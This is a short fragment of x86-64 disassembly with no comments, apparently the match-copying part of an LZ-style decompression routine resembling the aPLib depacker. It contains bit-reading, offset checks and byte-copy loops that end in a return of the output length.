inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405fa175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fa15d
cmp eax, 0x7d00
jae 0x1405fa19b
cmp eax, 0x500
jb 0x1405fa196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fa07e
cmp eax, 0x7f
ja 0x1405fa19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fa07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405fa1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405fa07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20